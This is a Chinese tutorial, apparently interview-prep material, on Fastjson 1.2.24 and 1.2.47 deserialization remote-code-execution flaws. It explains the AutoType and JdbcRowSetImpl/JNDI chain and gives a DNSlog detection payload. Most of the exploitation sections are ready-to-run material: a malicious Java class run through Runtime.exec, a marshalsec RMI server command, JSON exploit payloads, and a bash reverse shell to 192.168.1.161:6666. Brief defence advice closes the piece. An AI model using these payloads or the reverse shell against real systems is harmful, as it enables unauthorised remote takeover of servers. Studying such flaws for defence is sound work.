一文读懂面试官都在问的Fastjson漏洞
字数 1327 2025-08-11 00:55:10
Fastjson漏洞分析与利用教学文档
一、Fastjson简介
Fastjson是阿里巴巴的开源JSON解析库,主要功能包括:
- 解析JSON格式的字符串
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到JavaBean
二、漏洞概述
1. Fastjson 1.2.24 RCE漏洞
- 漏洞本质:反序列化过程中通过autoType功能导致的远程代码执行
- 影响版本:<=1.2.24
2. Fastjson 1.2.47 RCE漏洞
- 漏洞本质:通过特殊构造的json字符串绕过白名单检测
- 影响版本:<=1.2.47
三、漏洞原理
1. AutoType机制
- Fastjson自定义的序列化/反序列化机制
- 通过
@type标注类对应的原始类型 - 反序列化时会读取
@type内容,尝试将JSON内容反序列化成指定对象 - 自动调用该类的setter/getter方法
2. 攻击原理
- 构造JSON字符串,使用
@type指定攻击类库 - 利用
JdbcRowSetImpl进行反序列化攻击 - 通过
setDataSourcesName设置恶意RMI链接 - 目标服务反序列化时请求RMI服务器,执行远程命令
3. 关键组件
- JNDI (Java命名和目录接口):提供命名和目录服务
- RMI (远程方法调用):Java环境的远程方法调用机制
- LDAP:轻型目录访问协议
四、漏洞检测
1. 指纹特征
- 任意抓包,改为POST方式,提交不闭合的花括号
- 返回包中可能出现"fastjson"字样
2. DNSlog盲打
{
"YikJiang":{
"@type":"java.net.Inet4Address",
"val":"pesy0e.dnslog.cn"
}
}
3. 检测条件
- Java站点
- 传输数据为JSON格式
- 可使用Burp插件检测
五、漏洞利用(1.2.24版本)
1. 环境准备
- Java 1.8环境(高版本已修复)
- Python HTTP服务
- marshalsec工具
2. 攻击步骤
a. 创建恶意类
import java.lang.Runtime;
import java.lang.Process;
public class YikJiang {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/YikJiang0916"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b. 编译类文件
javac YikJiang.java
c. 启动HTTP服务
python -m http.server 8888
d. 启动RMI服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<your-ip>:8888/#YikJiang" 777
e. 发送Payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://<your-ip>:777/YikJiang",
"autoCommit":true
}
}
注意事项:
dataSourceName必须放在autoCommit前面- RMI URL后需跟上要获取的远程factory类名
六、漏洞利用(1.2.47版本)
1. 反弹Shell构造
bash -i >& /dev/tcp/192.168.1.161/6666 0>&1
2. 创建恶意类
import java.lang.Runtime;
import java.lang.Process;
public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3. 发送Payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:9999/YikJiang",
"autoCommit":true
}
}
七、防御措施
- 升级Fastjson到最新版本
- 关闭autotype功能
- 使用安全白名单
- 对输入进行严格过滤
八、技术要点总结
-
JdbcRowSetImpl利用链:通过设置
dataSourceName和autoCommit触发漏洞 -
攻击流程:
- 设置
dataSourceName传给lookup方法 - 设置
autoCommit属性触发connect函数 - connect函数触发lookup函数使用
dataSourceName参数 - 通过RMI访问远程服务器执行命令
- 设置
-
关键点:
- 必须使用Java 1.8环境
- Payload中属性顺序很重要
- RMI服务器配置必须正确
本教学文档详细介绍了Fastjson漏洞的原理、检测和利用方法,包含了从基础概念到实际攻击的所有关键步骤,可作为安全研究和防御的参考指南。